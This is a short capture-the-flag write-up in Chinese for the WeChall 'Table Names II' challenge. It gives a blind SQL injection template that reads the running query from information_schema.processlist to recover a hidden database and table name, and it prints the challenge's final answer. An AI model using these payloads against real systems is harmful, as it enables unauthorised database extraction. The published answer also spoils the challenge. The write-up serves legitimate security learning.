WeChall - Table Names II

Challenge

Table Names 的进阶版。题目要求找出隐藏的数据库名和表名,答案格式是:

1
database_table

相比第一版,常规的 information_schema.tables / database() 路线会被过滤。

Solution

后端查询大致是用隐藏配置拼出完整表名:

1
2
SELECT * FROM <secret_database>.<secret_table>
WHERE username='$username' AND password='$password'

不能直接查 information_schema.tables 时,可以转向 information_schema.processlist。当前正在执行的 SQL 文本会出现在 processlist.info 中,而这个 SQL 正好包含完整的 database.table

盲注模板:

1
2
3
4
5
6
7
8
9
username=test' OR IF(
(SELECT ASCII(SUBSTR(info, <pos>, 1)) = <ord>
FROM information_schema.processlist
WHERE info LIKE 0x2553454c45435425
LIMIT 1),
1,
0
)#
password=test

也可以用二分:

1
ASCII(SUBSTR(info, <pos>, 1)) > <mid>

逐字符恢复 info 后,从 SQL 文本里抽出 <secret_database>.<secret_table>,再把点号换成下划线提交。

通过 SUBSTR(info,1,200) 直接从 processlist 提取完整查询文本,确认当前账号下数据库和表名为:

1
nurfedtables37.userbobbytable7
nurfedtables37_userbobbytable7